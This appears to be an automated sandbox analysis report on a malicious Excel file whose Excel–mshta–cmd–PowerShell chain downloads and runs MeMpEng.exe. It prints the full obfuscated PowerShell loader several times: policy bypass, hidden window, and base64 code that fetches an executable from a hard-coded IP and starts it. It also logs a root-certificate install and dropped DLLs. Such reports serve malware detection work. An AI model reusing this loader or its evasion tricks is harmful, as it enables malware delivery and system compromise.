ICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))" Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: "C:\Windows\system32\cmd.exe" "/C pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))" Jump to behavior
Suspicious powershell command line found
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))"
Compiles C# or VB.Net code
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nxtolslo\nxtolslo.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4xnxdpzb\4xnxdpzb.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nxtolslo\nxtolslo.cmdline" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4xnxdpzb\4xnxdpzb.cmdline"
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 11_2_729F1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 11_2_729F1BFF
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 7_2_000007FE898A022D push eax; iretd 7_2_000007FE898A0241
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 7_2_000007FE898A00BD pushad ; iretd 7_2_000007FE898A00C1
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 11_2_729F30C0 push eax; ret 11_2_729F30EE
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 20_2_6A2B30C0 push eax; ret 20_2_6A2B30EE

Persistence and Installation Behavior
barindex
Installs new ROOT certificates
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Drops PE files
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe File created: C:\Users\user\AppData\Local\Temp\nsn59E.tmp\System.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe File created: C:\Users\user\AppData\Local\Temp\nsnB972.tmp\nsDialogs.dll Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\MeMpEng[1].exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\nxtolslo\nxtolslo.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe File created: C:\Users\user\AppData\Local\Temp\nsn59E.tmp\UserInfo.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe File created: C:\Users\user\AppData\Local\Temp\nsn59E.tmp\nsExec.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe File created: C:\Users\user\AppData\Local\Temp\nsnB972.tmp\UserInfo.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe File created: C:\Users\user\AppData\Local\Temp\nsn59E.tmp\LangDLL.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe File created: C:\Users\user\AppData\Local\Temp\nsnB972.tmp\LangDLL.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe File created: C:\Users\user\AppData\Local\Temp\nsnB972.tmp\System.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\4xnxdpzb\4xnxdpzb.dll Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\MeMpEng.exe Jump to dropped file
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe File created: C:\Users\user\AppData\Local\Temp\nsnB972.tmp\nsExec.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe File created: C:\Users\user\AppData\Local\Temp\nsn59E.tmp\nsDialogs.dll Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
